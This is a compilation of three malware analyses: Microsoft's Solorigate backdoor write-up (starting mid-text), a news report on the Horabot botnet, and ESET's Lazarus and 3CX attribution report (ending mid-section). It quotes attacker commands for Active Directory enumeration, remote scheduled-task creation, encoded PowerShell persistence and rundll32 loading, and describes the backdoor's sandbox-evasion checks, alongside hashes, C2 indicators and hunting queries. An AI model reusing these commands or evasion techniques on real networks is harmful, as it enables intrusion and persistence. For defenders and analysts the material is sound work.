It checks that the last write-time of the malicious DLL is at least 12 to 14 days earlier It delays execution by random amounts of time


It verifies that the domain name of the current device meets the following conditions: The domain must not contain certain strings; the check for these strings is implemented via hashes, so at this time the domain names that are block-listed are unknown The domain must not contain “solarwinds” The domain must not match the regular expression (?i)([^a-z]|^)(test)([^a-z]|$), or in simpler terms, it must not look like a test domain It checks that there are no running processes related to security-related software (e.g., Windbg, Autoruns, Wireshark)


It checks that there are no drivers loaded from security-related software (e.g., groundling32.sys)


It checks that the status of certain services belonging to security-related software meets certain conditions (e.g., windefend, sense, cavp)


It checks that the host “api.solarwinds.com” resolves to an expected IP address If any of these checks fail, the backdoor terminates.


All these inspections are carried out to avoid exposing the malicious functionality to unwanted environments, such as test networks or machines belonging to SolarWinds.


The backdoor After the extensive validation described above, the backdoor enters its main execution stage.


At its core, the backdoor is a very standard one that receives instructions from the C2 server, executes those instructions, and sends back information.


The type of commands that can be executed range from manipulating of registry keys, to creating processes, and deleting files, etc., effectively providing the attackers with full access to the device, especially since it’s executing from a trusted, signed binary.


In its first step, the backdoor initiates a connection to a predefined C2 server to report some basic information about the compromised system and receive the first commands.


The C2 domain is composed of four different parts: three come from strings that are hardcoded in the backdoor, and one component is generated dynamically based on some unique information extracted from the device.


This means that every affected device generates a different subdomain to contact (and possibly more than one).


Here’s an example of a generated domain: Figure 6: Dynamically generated C2 domain The dynamically generated portion of the domain is the interesting part.


It is computed by hashing the following data: The physical address of the network interface The domain name of the device The content of the MachineGuid registry value from the key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography The backdoor also generates a pseudo-random URI that is requested on the C2 domain.


Like the domain, the URI is composed using a set of hardcoded keywords and paths, which are chosen partly at random and partly based on the type of HTTP request that is being sent out.


Possible URIs that can be generated follow these formats: pki/crl/<random components>.crl, where <random components> can be numbers and one of the following strings: “-root” “-cert” “-universal_ca” “-ca” “-primary_ca” “-timestamp” “-global” “-secureca” fonts/


woff/<random components>-webfont<random component>.woff2 or fonts/woff/<random components>.woff2, where the <random components> can be numbers and one or more of the following strings: “Bold” “BoldItalic” “ExtraBold” “ExtraBoldItalic” “Italic”, “Light” “LightItalic” “Regular” “SemiBold” “SemiBoldItalic” “opensans” “noto” “freefont” “SourceCodePro” “SourceSerifPro” “SourceHanSans” “SourceHanSerif” swip/upd/<random components>, where <random components> can be one or more of the following strings: “SolarWinds” “.CortexPlugin” “.Orion” “Wireless” “UI” “Widgets” “NPM” “Apollo” “CloudMonitoring” “Nodes”, “Volumes”, “Interfaces”, “Components” swip/Upload.ashx swip/Events Here are examples of final URLs generated by the backdoor: hxxps://3mu76044hgf7shjf[.]appsync-api[.]eu-west-1[.]avsvmcloud[.]com /swip/upd/Orion[.]Wireless[.]xml hxxps://3mu76044hgf7shjf[.]appsync-api[.]us-east-2[.]avsvmcloud[.]com /pki/crl/492-ca[.]crl hxxps://3mu76044hgf7shjf[.]appsync-api[.]us-east-1[.]avsvmcloud[.]com /fonts/woff/6047-freefont-ExtraBold[.]woff2 Finally, the backdoor composes a JSON document into which it adds the unique user ID described earlier, a session ID, and a set of other non-relevant data fields.


It then sends this JSON document to the C2 server. Figure 7: Example of data generated by the malware If the communication is successful, the C2 responds with an encoded, compressed buffer of data containing commands for the backdoor to execute.


The C2 might also respond with information about an additional C2 address to report to.


The backdoor accepts the following commands: Idle Exit SetTime CollectSystemDescription UploadSystemDescription RunTask GetProcessByDescription KillTask GetFileSystemEntries WriteFile FileExists DeleteFile GetFileHash ReadRegistryValue SetRegistryValue DeleteRegistryValue GetRegistrySubKeyAndValueNames Reboot None In a nutshell, these commands allow the attackers to run, stop, and enumerate processes; read, write, and enumerate files and registry keys; collect and upload information about the device; and restart the device, wait, or exit.


The command CollectSystemDescription retrieves the following information: Local Computer Domain name Administrator Account SID HostName Username OS Version System Directory Device uptime Information about the network interfaces Resulting hands-on-keyboard attack Once backdoor access is obtained, the attackers follow the standard playbook of privilege escalation exploration, credential theft, and lateral movement hunting for high-value accounts and assets.


To avoid detection, attackers renamed Windows administrative tools like adfind.exe which were then used for domain enumeration.


csrss.exe -h breached.contoso.com -f


(name=”Domain Admins”) member -list | csrss.exe -h breached.contoso.com -f


objectcategory=* > .\Mod\mod1.log Lateral movement was observed via PowerShell remote task creation, as detailed by FireEye and Volexity: $scheduler = New-Object -ComObject (“Schedule.


Service”);$scheduler.


Connect($env:


COMPUTERNAME);$folder = $scheduler.


GetFolder(“\Microsoft\Windows\SoftwareProtectionPlatform”);$task = $folder.


GetTask(“EventCacheManager”);$definition = $task.


Definition;$definition.


Settings.


ExecutionTimeLimit = “PT0S”;$folder.


RegisterTaskDefinition($task.


Name,$definition,6,”System”,$null,5);echo “Done” C:\Windows\system32\cmd.exe /C schtasks /create /F


/tn “\Microsoft\Windows\SoftwareProtectionPlatform\EventCacheManager” /tr


“C:\Windows\SoftwareDistribution\EventCacheManager.exe” /sc ONSTART /ru system /S


[machine_name] Persistence is achieved via backdoors deployed via various techniques:


PowerShell: Powershell -nop -exec bypass -EncodedCommand The –EncodedCommand, once decoded, would resemble: Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:\windows\idmu\common\ypprop.dll _XInitImageFuncPtrs’ -ComputerName


WORKSTATION Rundll32: C:\Windows\System32\rundll32.exe C:\Windows\Microsoft.


NET\Framework64\[malicious .dll


file], [various exports] With Rundll32, each compromised device receives a unique binary hash, unique local filesystem path, pseudo-unique export, and unique C2 domain.


The backdoor also allows the attackers to deliver second-stage payloads, which are part of the Cobalt Strike software suite.


We continue to investigate these payloads, which are detected as Trojan:Win32/Solorigate.A!dha, as the situation continues to unfold.


Microsoft Defender for Endpoint product and hardening guidance Supply chain compromise continues to be a growing concern in the security industry.


The Solorigate incident is a grave reminder that these kinds of attacks can achieve the harmful combination of widespread impact and deep consequences for successfully compromised networks.


We continue to urge customers to: Isolate and investigate devices where these malicious binaries have been detected Identify accounts that have been used on the affected device and consider them compromised Investigate how those endpoints might have been compromised Investigate the timeline of device compromise for indications of lateral movement Hardening networks by reducing attack surfaces and building strong preventative protection are baseline requirements for defending organizations.


On top of that, comprehensive visibility into system and network activities drive the early detection of anomalous behaviors and potential signs of compromise.


More importantly, the ability to correlate signals through AI could surface more evasive attacker activity.


Microsoft Defender for Endpoint has comprehensive detection coverage across the Solorigate attack chain.


These detections raise alerts that inform security operations teams about the presence of activities and artifacts related to this incident.


Given that this attack involves the compromise of legitimate software, automatic remediation is not enabled to prevent service interruption.


The detections, however, provide visibility into the attack activity.


Analysts can then use investigation and remediation tools in Microsoft Defender Endpoint to perform deep investigation and additional hunting.


Microsoft 365 Defender provides visibility beyond endpoints by consolidating threat data from across domains – identities, data, cloud apps, as well as endpoints – delivering coordinated defense against this threat.


This cross-domain visibility allows Microsoft 365 Defender to correlate signals and comprehensively resolve whole attack chains.


Security operations teams can then hunt using this rich threat data and gain insights for hardening networks from compromise.


Microsoft Defender for Endpoint detections across the Solorigate attack chain Several Microsoft Defender for Endpoint capabilities are relevant to the Solorigate attack: Next generation protection Microsoft Defender Antivirus, the default antimalware solution on Windows 10, detects and blocks the malicious DLL and its behaviors.


It quarantines malware, even if the process is running.


Detection for backdoored SolarWinds.Orion.Core.BusinessLayer.dll files: Trojan:MSIL/Solorigate.


BR!dha Detection for Cobalt Strike fragments in process memory and stops the process: Trojan:Win32/Solorigate.A!dha Behavior:Win32/Solorigate.A!dha Detection for the second-stage payload, a cobalt strike beacon that might connect to infinitysoftwares[.]com.


SA!dha Detection for the PowerShell payload that grabs hashes and SolarWinds passwords from the database along with machine information: Trojan:PowerShell/Solorigate.


H!dha Figure 9.


Microsoft Defender for Endpoint prevented malicious binaries Endpoint detection and response (EDR)


Alerts with the following titles in the Microsoft Defender Security Center and Microsoft 365 security center can indicate threat activity on your network: SolarWinds Malicious binaries associated with a supply chain attack SolarWinds Compromised binaries associated with a supply chain attack Network traffic to domains associated with a supply chain attack Alerts with the following titles in the Microsoft Defender Security Center and Microsoft 365 security center can indicate the possibility that the threat activity in this report occurred or might occur later.


These alerts can also be associated with other malicious threats.


ADFS private key extraction attempt Masquerading Active Directory exploration tool Suspicious mailbox export or access modification Possible attempt to access ADFS key material Suspicious ADFS adapter process created Figure 10.


Microsoft Defender for Endpoint detections of suspicious LDAP query being launched and attempted ADFS private key extraction Figure 11.


Microsoft Defender for Endpoint alert description and recommended actions for possible attempt to access ADFS key material Our ability to deliver these protections through our security technologies is backed by our security experts who immediately investigated this attack and continue to look into the incident as it develops.


Careful monitoring by experts is critical in this case because we’re dealing with a highly motivated and highly sophisticated threat actor.


In the same way that our products integrate with each other to consolidate and correlate signals, security experts and threat researchers across Microsoft are working together to address this advanced attack and ensure our customers are protected.


Threat analytics report We published a comprehensive threat analytics report on this incident.


Threat analytics reports provide technical information, detection details, and recommended mitigations designed to empower defenders to understand attacks, assess its impact, and review defenses. Figure 12.


Threat analytics report on the Solorigate attack Advanced hunting Microsoft 365 Defender and Microsoft Defender for Endpoint customers can run advanced hunting queries to hunt for similar TTPs used in this attack.


Malicious DLLs loaded into memory To locate the presence or distribution of malicious DLLs loaded into memory, run the following query DeviceImageLoadEvents | where SHA1 in (“d130bd75645c2433f88ac03e73395fba172ef676″,”1acf3108bf1e376c8848fbb25dc87424f2c2a39c”,”e257236206e99f5a5c62035c9c59c57206728b28″,”6fdd82b7ca1c1f0ec67c05b36d14c9517065353b”,”2f1a5a7411d015d01aaee4535835400191645023″,”bcb5a4dcbc60d26a5f619518f2cfc1b4bb4e4387″,”16505d0b929d80ad1680f993c02954cfd3772207″,”d8938528d68aabe1e31df485eb3f75c8a925b5d9″,”395da6d4f3c890295f7584132ea73d759bd9d094″,”c8b7f28230ea8fbf441c64fdd3feeba88607069e”,”2841391dfbffa02341333dd34f5298071730366a”,”2546b0e82aecfe987c318c7ad1d00f9fa11cd305″,”e2152737bed988c0939c900037890d1244d9a30e”) or SHA256 in (“ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6″,”dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b”,”eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed”,”ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c”,”019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134″,”c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77″,”0f5d7e6dfdd62c83eb096ba193b5ae394001bac036745495674156ead6557589″,”e0b9eda35f01c1540134aba9195e7e6393286dde3e001fce36fb661cc346b91d”,”20e35055113dac104d2bb02d4e7e33413fae0e5a426e0eea0dfd2c1dce692fd9″,”2b3445e42d64c85a5475bdbc88a50ba8c013febb53ea97119a11604b7595e53d”,”a3efbc07068606ba1c19a7ef21f4de15d15b41ef680832d7bcba485143668f2d”,”92bd1c3d2a11fc4aba2735d9547bd0261560fb20f36a0e7ca2f2d451f1b62690″,”a58d02465e26bdd3a839fd90e4b317eece431d28cab203bbdde569e11247d9e2″,”cc082d21b9e880ceb6c96db1c48a0375aaf06a5f444cb0144b70e01dc69048e6″) Malicious DLLs created in the system or locally To locate the presence or distribution of malicious DLLs created in the system or locally, run the following query DeviceFileEvents | where SHA1 in (“d130bd75645c2433f88ac03e73395fba172ef676″,”1acf3108bf1e376c8848fbb25dc87424f2c2a39c”,”e257236206e99f5a5c62035c9c59c57206728b28″,”6fdd82b7ca1c1f0ec67c05b36d14c9517065353b”,”2f1a5a7411d015d01aaee4535835400191645023″,”bcb5a4dcbc60d26a5f619518f2cfc1b4bb4e4387″,”16505d0b929d80ad1680f993c02954cfd3772207″,”d8938528d68aabe1e31df485eb3f75c8a925b5d9″,”395da6d4f3c890295f7584132ea73d759bd9d094″,”c8b7f28230ea8fbf441c64fdd3feeba88607069e”,”2841391dfbffa02341333dd34f5298071730366a”,”2546b0e82aecfe987c318c7ad1d00f9fa11cd305″,”e2152737bed988c0939c900037890d1244d9a30e”) or SHA256 in (“ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6″,”dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b”,”eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed”,”ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c”,”019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134″,”c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77″,”0f5d7e6dfdd62c83eb096ba193b5ae394001bac036745495674156ead6557589″,”e0b9eda35f01c1540134aba9195e7e6393286dde3e001fce36fb661cc346b91d”,”20e35055113dac104d2bb02d4e7e33413fae0e5a426e0eea0dfd2c1dce692fd9″,”2b3445e42d64c85a5475bdbc88a50ba8c013febb53ea97119a11604b7595e53d”,”a3efbc07068606ba1c19a7ef21f4de15d15b41ef680832d7bcba485143668f2d”,”92bd1c3d2a11fc4aba2735d9547bd0261560fb20f36a0e7ca2f2d451f1b62690″,”a58d02465e26bdd3a839fd90e4b317eece431d28cab203bbdde569e11247d9e2″,”cc082d21b9e880ceb6c96db1c48a0375aaf06a5f444cb0144b70e01dc69048e6″) SolarWinds processes launching PowerShell with Base64 To locate SolarWinds processes spawning suspected Base64-encoded PowerShell commands, run the following query DeviceProcessEvents| where InitiatingProcessFileName =~ “SolarWinds.BusinessLayerHost.exe”| where FileName =~ “powershell.exe”// Extract base64 encoded string, ensure valid base64 length| extend base64_extracted = extract(‘([A-Za-z0-9+/]{20,}[=]{0,3})’, 1, ProcessCommandLine)| extend base64_extracted = substring(base64_extracted, 0, (strlen(base64_extracted) / 4) *


4)| extend base64_decoded = replace(@’\0′, ”, make_string(base64_decode_toarray(base64_extracted)))//| where notempty(base64_extracted) and base64_extracted matches regex ‘[A-Z]’ and base64_extracted matches regex ‘[0-9]’ SolarWinds processes launching CMD with echo To locate SolarWinds processes launching CMD with echo, run the following query DeviceProcessEvents| where InitiatingProcessFileName =~ “SolarWinds.BusinessLayerHost.exe”| where FileName == “cmd.exe” and ProcessCommandLine has “echo” C2 communications To locate DNS lookups to a malicious actor’s domain, run the following query DeviceEvents| where ActionType == “DnsQueryResponse” //DNS


Query Responseand AdditionalFields has “.avsvmcloud” To locate DNS lookups to a malicious actor’s domain, run the following query DeviceNetworkEvents| where RemoteUrl contains ‘avsvmcloud.com’| where InitiatingProcessFileName !


= “chrome.exe”| where InitiatingProcessFileName !


= “msedge.exe”| where InitiatingProcessFileName !


= “iexplore.exe”| where InitiatingProcessFileName !


= “firefox.exe”| where InitiatingProcessFileName !


= “opera.exe” Find SolarWinds Orion software in your enterprise To search for Threat and Vulnerability Management data to find SolarWinds Orion software organized by product name and ordered by how many devices the software is installed on, run the following query DeviceTvmSoftwareInventoryVulnerabilities| where SoftwareVendor == ‘solarwinds’| where SoftwareName startswith ‘orion’| summarize dcount(DeviceName) by SoftwareName| sort by dcount_DeviceName desc ADFS adapter process spawning DeviceProcessEvents| where InitiatingProcessFileName =~”Microsoft.


IdentityServer.


ServiceHost.exe”| where FileName in~(“werfault.exe”, “csc.exe”)| where ProcessCommandLine !contains (“nameId”) Appendix MITRE ATT&CK techniques observed This threat makes use of attacker techniques documented in the MITRE ATT&CK framework.


Initial Access T1195.001 Supply Chain Compromise Execution T1072 Software Deployment Tools Command and Control T1071.004 Application Layer Protocol: DNS T1017.001 Application Layer Protocol: Web Protocols T1568.002


Dynamic Resolution: Domain Generation Algorithms T1132 Data Encoding Persistence T1078


Valid Accounts Defense Evasion T1480.001 Execution Guardrails: Environmental Keying T1562.001 Impair Defenses: Disable or Modify Tools Collection T1005 Data From Local System Additional malware discovered


In an interesting turn of events, the investigation of the whole SolarWinds compromise led to the discovery of an additional malware that also affects the SolarWinds Orion product but has been determined to be likely unrelated to this compromise and used by a different threat actor.


The malware consists of a small persistence backdoor in the form of a DLL file named App_Web_logoimagehandler.ashx.b6031896.dll, which is programmed to allow remote code execution through SolarWinds web application server when installed in the folder “inetpub\SolarWinds\bin\”.


Unlike Solorigate, this malicious DLL does not have a digital signature, which suggests that this may be unrelated to the supply chain compromise.


Nonetheless, the infected DLL contains just one method (named DynamicRun), that can receive a C# script from a web request, compile it on the fly, and execute it. Figure 13: Original DLL Figure 14: The malicious addition that calls the DynamicRun method This code provides an attacker the ability to send and execute any arbitrary C# program on the victim’s device.


Microsoft Defender Antivirus detects this compromised DLL as Trojan:MSIL/Solorigate.


G!dha.


Talk to us Questions, concerns, or insights on this story?


Join discussions at the Microsoft 365 Defender tech community.


Read all Microsoft security intelligence blog posts.


Follow us on Twitter @MsftSecIntel.


The post Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers appeared first on Microsoft Security.


Security researchers have issued a warning over a sophisticated malware botnet that has flown under the radar for more than two years.

Horabot campaign targeted businesses for more than two years before finally being discovered


Analysis by security firm Cisco Talos also found that organisations across “several business verticals” have been targeted by the botnet since November 2020.Dubbed ‘Horabot’, the botnet was spotted infecting devices with a banking trojan and spam tools to steal sensitive financial information and assume control of user email accounts to wage phishing attacks.


Users of email services such as Gmail, Yahoo, and Outlook, have been impacted by the botnet, with their accounts used to send malicious emails to contacts.


“Horabot enables the threat actor to control the victim’s Outlook mailbox, exfiltrate contacts’ email addresses, and send phishing emails with malicious HTML attachments to all addresses in the victim’s mailbox,” researchers said.


”According


to Talos, the botnet has specifically targeted Spanish-speaking users in the Americas, and could be based in Brazil.


Companies operating in the accounting, construction, engineering, and investment sectors are thought to have been particularly targeted by the botnet.


How does Horabot work?Technical analysis from Cisco Talos revealed that the campaign is a “multi-stage attack chain” beginning with an initial phishing email.


This then delivers a malicious payload via a PowerShell downloader script.


“When a victim opens the HTML file attachment, an embedded URL is launched in the victim’s browser, redirecting to another malicious HTML file from an attacker-controlled AWS EC2 instance,” researchers said in a blog post.


”This payload was found to create specially crafted Windows shortcut files that run during the startup process of a victims machine and force it to restart.


Upon reboot, these malicious files enable the attacker to further infect the device.


“After the victim’s machine is rebooted, the malicious Windows startup files run the payloads by sideloading them to the legitimate executables and downloading and executing two other PowerShell scripts from a different attacker-controlled server,” the blog post explained.


“One is the PowerShell downloader script, which the attacker attempts to execute to re-infect the victim’s machine, and another is Horabot.”Analysis of the banking trojanAnalysis from Talos found that the banking trojan used in this campaign specifically targets the victim’s login credentials and financial information.


This trojan enables the attacker to monitor activity on a victim’s device by collecting system information such as hostnames, IPv4 addresses, OS version information, and insights on anti-virus software present on the machine.


Data gathered by the trojan is then extracted to an attacker-controlled server, researchers added.


“The reconnaissance data is exfiltrated to the attacker-controlled server through an HTTP POST request,” Talos explained “The banking trojan targets the victim’s sensitive information, such as login credentials and financial transaction security codes, and logs keystrokes and manipulates the victim machine’s clipboard data.


“The trojan also has anti-analysis and anti-detection capabilities to evade the sandbox and virtual environments.”The


second element of this botnet campaign involves the use of a spam tool, researchers explained.


This acts as a secondary payload during the attack and enables the threat actor to assume control of the victim’s email accounts.


“The spam tool is a 32-bit DLL written in Delphi and, when run on the victim’s machine, will attempt to compromise the victim’s login credentials for webmail services such as Yahoo, Gmail, and Hotmail,” Cisco analysts explained.


Once user credentials have been compromised, this tool takes “full control” of the account and begins creating and circulating spam emails to contacts found in the victim’s mailbox.


This spambot also displayed “information-stealing capabilities”, including the ability to log keystrokes, capture screenshots, and track mouse activity on an infected computer.


Linux malware strengthens links between Lazarus and the 3CX supply‑chain attack url: https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack/ Similarities with newly discovered Linux malware used in Operation DreamJob corroborate the theory that the infamous North Korea-aligned group is behind the 3CX supply-chain attack ESET researchers have discovered a new Lazarus Operation DreamJob campaign targeting Linux users.

Linux malware strengthens links between Lazarus and the 3CX supplychain attack


Operation DreamJob is the name for a series of campaigns where the group uses social engineering techniques to compromise its targets, with fake job offers as the lure.


In this case, we were able to reconstruct the full chain, from the ZIP file that delivers a fake HSBC job offer as a decoy, up until the final payload: the SimplexTea Linux backdoor distributed through an OpenDrive cloud storage account.


To our knowledge, this is the first public mention of this major North Korea-aligned threat actor using Linux malware as part of this operation.


Additionally, this discovery helped us confirm with a high level of confidence that the recent 3CX supply-chain attack was in fact conducted by Lazarus – a link that was suspected from the very beginning and demonstrated by several security researchers since.


In this blogpost, we corroborate these findings and provide additional evidence about the connection between Lazarus and the 3CX supply-chain attack.


The 3CX supply-chain attack 3CX is an international VoIP software developer and distributor that provides phone system services to many organizations.


According to its website, 3CX has more than 600,000 customers and 12,000,000 users in various sectors including aerospace, healthcare, and hospitality.


It provides client software to use its systems via a web browser, mobile app, or a desktop application.


Late in March 2023, it was discovered that the desktop application for both Windows and macOS contained malicious code that enabled a group of attackers to download and run arbitrary code on all machines where the application was installed.


Rapidly, it was determined that this malicious code was not something that 3CX added themselves, but that 3CX was compromised and that its software was used in a supply-chain attack driven by external threat actors to distribute additional malware to specific 3CX customers.


This cyber-incident has made headlines in recent days.


Initially reported on March 29th, 2023 in a Reddit thread by a CrowdStrike engineer, followed by an official report by CrowdStrike, stating with high confidence that LABIRINTH CHOLLIMA, the company’s codename for Lazarus, was behind the attack (but omitting any evidence backing up the claim).


Because of the seriousness of the incident, multiple security companies started to contribute their summaries of the events, namely Sophos, Check Point, Broadcom, Trend Micro, and more.


Further, the part of the attack affecting systems running macOS was covered in detail in a Twitter thread and a blogpost by Patrick Wardle.


Timeline of events Figure 1.


Timeline of events related to the preparation and distribution of 3CX trojanized applications


The timeline shows that the perpetrators had planned the attacks long before execution; as early as December 2022.


This suggests they already had a foothold inside 3CX’s network late last year.


While the trojanized 3CX macOS application shows it was signed in late January, we did not see the bad application in our telemetry until February 14th, 2023.


It is unclear whether the malicious update for macOS was distributed prior to that date.


Although ESET telemetry shows the existence of the macOS second-stage payload as early as February, we did not have the sample itself, nor metadata to tip us off about its maliciousness.


We include this information to help defenders determine how far back systems might have been compromised.


Several days before the attack was publicly revealed, a mysterious Linux downloader was submitted to VirusTotal.


It downloads a new Lazarus malicious payload for Linux and we explain its relationship to the attack later in the text.


Attribution of the 3CX supply-chain attack to Lazarus What is already published There is one domain that plays a significant role in our attribution reasoning: journalide[.]org.


It is mentioned in some of the vendor reports linked above, but its presence is never explained.


Interestingly, articles by SentinelOne and ObjectiveSee do not mention this domain.


Neither does a blogpost by Volexity, which even refrained from providing attribution, stating “Volexity cannot currently map the disclosed activity to any threat actor”.


Its analysts were among the first to investigate the attack in depth and they created a tool to extract a list of C&C servers from encrypted icons on GitHub.


This tool is useful, as the attackers did not embed the C&C servers directly in the intermediate stages, but rather used GitHub as a dead drop resolver.


The intermediate stages are downloaders for Windows and macOS that we denote as IconicLoaders, and the payloads they get as IconicStealer and UpdateAgent, respectively.


On March 30th, Joe Desimone, a security researcher from Elastic Security, was among the first to provide, in a Twitter thread, substantial clues that the 3CX-driven compromises are probably linked to Lazarus.


He observed that a shellcode stub prepended to the payload from d3dcompiler_47.dll is similar to AppleJeus loader stubs attributed to Lazarus by CISA back in April 2021.


On March 31st


it was being reported that 3CX had retained Mandiant to provide incident response services relating to the supply-chain attack.


On April 3rd, Kaspersky, through its telemetry, showed a direct relationship between the 3CX supply-chain victims and the deployment of a backdoor dubbed Gopuram, both involving payloads with a common name, guard64.dll.


Kaspersky data shows that Gopuram is connected to Lazarus because it coexisted on victim machines alongside AppleJeus, malware that was already attributed to Lazarus.


Both Gopuram and AppleJeus were observed in attacks against a cryptocurrency company.


Then, on April 11th, the CISO of 3CX summarized Mandiant’s interim findings in a blogpost.


According to that report, two Windows malware samples, a shellcode loader called TAXHAUL and a complex downloader named COLDCAT, were involved in the compromise of 3CX.


No hashes were provided, but Mandiant’s YARA rule, named TAXHAUL, also triggers on other samples already on VirusTotal:


SHA-1: 2ACC6F1D4656978F4D503929B8C804530D7E7CF6 (ualapi.dll), SHA-1: DCEF83D8EE080B54DC54759C59F955E73D67AA65 (wlbsctrl.dll) The filenames, but not MD5s, of these samples coincide with those from Kaspersky’s blogpost.


However, 3CX explicitly states that COLDCAT differs from Gopuram.


The next section contains a technical description of the new Lazarus malicious Linux payload we recently analyzed, as well as how it helped us strengthen the existing link between Lazarus and the 3CX compromise.


Operation DreamJob with a Linux payload The Lazarus group’s Operation DreamJob involves approaching targets through LinkedIn and tempting them with job offers from industry leaders.


The name was coined by ClearSky in a paper published in August 2020.


That paper describes a Lazarus cyberespionage campaign targeting defense and aerospace companies.


The activity has overlap with what we call Operation In(ter)ception, a series of cyberespionage attacks that have been ongoing since at least September 2019.


It targets aerospace, military, and defense companies and uses specific malicious, initially Windows-only, tools.


During July and August 2022, we found two instances of Operation In(ter)ception targeting macOS.


One malware sample was submitted to VirusTotal from Brazil, and another attack targeted an ESET user in Argentina.


A few weeks ago, a native Linux payload was found on VirusTotal with an HSBC-themed PDF lure.


This completes Lazarus’s ability to target all major desktop operating systems.


On March 20th, a user in the country of Georgia submitted to VirusTotal a ZIP archive called HSBC job offer.pdf.zip.


Given other DreamJob campaigns by Lazarus, this payload was probably distributed through spearphishing or direct messages on LinkedIn.


The archive contains a single file: a native 64-bit Intel Linux binary written in Go and named HSBC job offer․pdf.


Interestingly, the file extension is not .pdf.


This is because the apparent dot character in the filename is a leader dot represented by the U+2024 Unicode character.


The use of the leader dot in the filename was probably an attempt to trick the file manager into treating the file as an executable instead of a PDF.


This could cause the file to run when double-clicked instead of opening it with a PDF viewer.


On execution, a decoy PDF is displayed to the user using xdg-open, which will open the document using the user’s preferred PDF viewer (see Figure 3).


We decided to call this ELF downloader OdicLoader, as it has a similar role as the IconicLoaders on other platforms and the payload is fetched from OpenDrive.


OdicLoader drops a decoy PDF document, displays it using the system’s default PDF viewer (see Figure 2), and then downloads a second-stage backdoor from the OpenDrive cloud service.


The downloaded file is stored in ~/.config/guiconfigd (SHA-1: 0CA1723AFE261CD85B05C9EF424FC50290DCE7DF).


We call this second-stage backdoor SimplexTea.


As the last step of its execution, the OdicLoader modifies ~/.bash_profile, so SimplexTea is launched with Bash and its output is muted (~/.config/guiconfigd >/dev/null 2>&1).


Illustration of the probable chain of compromise Figure 3.


An HSBC-themed lure in the Linux DreamJob campaign SimplexTea is a Linux backdoor written in C++.


As highlighted in Table 1, its class names are very similar to function names found in a sample, with filename sysnetd, submitted to VirusTotal from Romania (SHA-1: F6760FB1F8B019AF2304EA6410001B63A1809F1D).


Because of the similarities in class names and function names between SimplexTea and sysnetd, we believe SimplexTea is an updated version, rewritten from C to C++.


Comparison of the original symbol names from two Linux backdoors submitted to VirusTotal guiconfigd (SimplexTea for Linux, from Georgia)sysnetd (BADCALL for Linux, from Romania) CMsgCmd::Start(void)MSG_Cmd CMsgSecureDel::Start(void)MSG_Del CMsgDir::Start(void)MSG_Dir CMsgDown::Start(void)MSG_Down CMsgExit::Start(void)MSG_Exit CMsgReadConfig::Start(void)MSG_ReadConfig CMsgRun::Start(void)MSG_Run CMsgSetPath::Start(void)MSG_SetPath CMsgSleep::Start(void)MSG_Sleep CMsgTest::Start(void)MSG_Test CMsgUp::Start(void)MSG_Up CMsgWriteConfig::Start(void)MSG_WriteConfig MSG_GetComInfo CMsgHibernate::Start(void) CMsgKeepCon::Start(void) CMsgZipDown::Start(void)


CMsgZip::StartZip(void *) CMsgZip::Start(void) CHttpWrapper::RecvData(uchar *&,uint *,uint,signed char) RecvMsg CHttpWrapper::SendMsg(_MSG_STRUCT *)SendMsg CHttpWrapper::SendData(uchar *,uint,uint) CHttpWrapper::SendMsg(uint,uint,uchar *,uint,uint)


CHttpWrapper::SendLoginData(uchar *,uint,uchar *&,uint *)


How is sysnetd related to Lazarus?


The following section shows similarities with Lazarus’s Windows backdoor called BADCALL.


BADCALL for Linux We attribute sysnetd to Lazarus because of its similarities with the following two files (and we believe that sysnetd is a Linux variant of the group’s backdoor for Windows called BADCALL):


P2P_DLL.dll (SHA-1: 65122E5129FC74D6B5EBAFCC3376ABAE0145BC14), which shows code similarities to sysnetd in the form of domains used as a front for fake TLS connection (see Figure 4).


It was attributed to Lazarus by CISA in December 2017.


From September 2019, CISA started to call newer versions of this malware BADCALL (SHA-1: D288766FA268BC2534F85FD06A5D52264E646C47).


Similarities between a Windows and a Linux variant of BADCALL (a list of domains used as a front for a fake TLS connection) prtspool (SHA-1: 58B0516D28BD7218B1908FB266B8FE7582E22A5F), which shows code similarities to sysnetd (see Figure 5).


It was attributed to Lazarus by CISA in February 2021.


Note as well that SIMPLESEA, a macOS backdoor found during the 3CX incident response, implements the A5/1 stream cipher.


Similarities between AppleJeus for macOS and the Linux variant of BADCALL (the key for the A5/1 stream cipher)


This Linux version of the BADCALL backdoor, sysnetd, loads its configuration from a file named /tmp/vgauthsvclog.


Since Lazarus operators have previously disguised their payloads, the use of this name, which is used by the VMware Guest Authentication service, suggests that the targeted system may be a Linux VMware virtual machine.


Interestingly, the XOR key in this case is the same as one used in SIMPLESEA from the 3CX investigation.


Loading a configuration file by BADCALL for Linux, cf.


Figure 8 Taking a look at the three 32-bit integers, 0xC2B45678, 0x90ABCDEF, and 0xFE268455 from Figure 5, which represent a key for a custom implementation of the A5/1 cipher, we realized that the same algorithm and the identical keys were used in Windows malware that dates back to the end of 2014 and was involved in one of the most notorious Lazarus cases: the cybersabotage of Sony Pictures Entertainment (SHA-1: 1C66E67A8531E3FF1C64AE57E6EDFDE7BEF2352D).


The decryption routine shared between the BADCALL for Linux and targeted destructive malware for Windows from 2014 Additional attribution data points To recap what we’ve covered so far, we attribute the 3CX supply-chain attack to the Lazarus group with a high level of confidence.


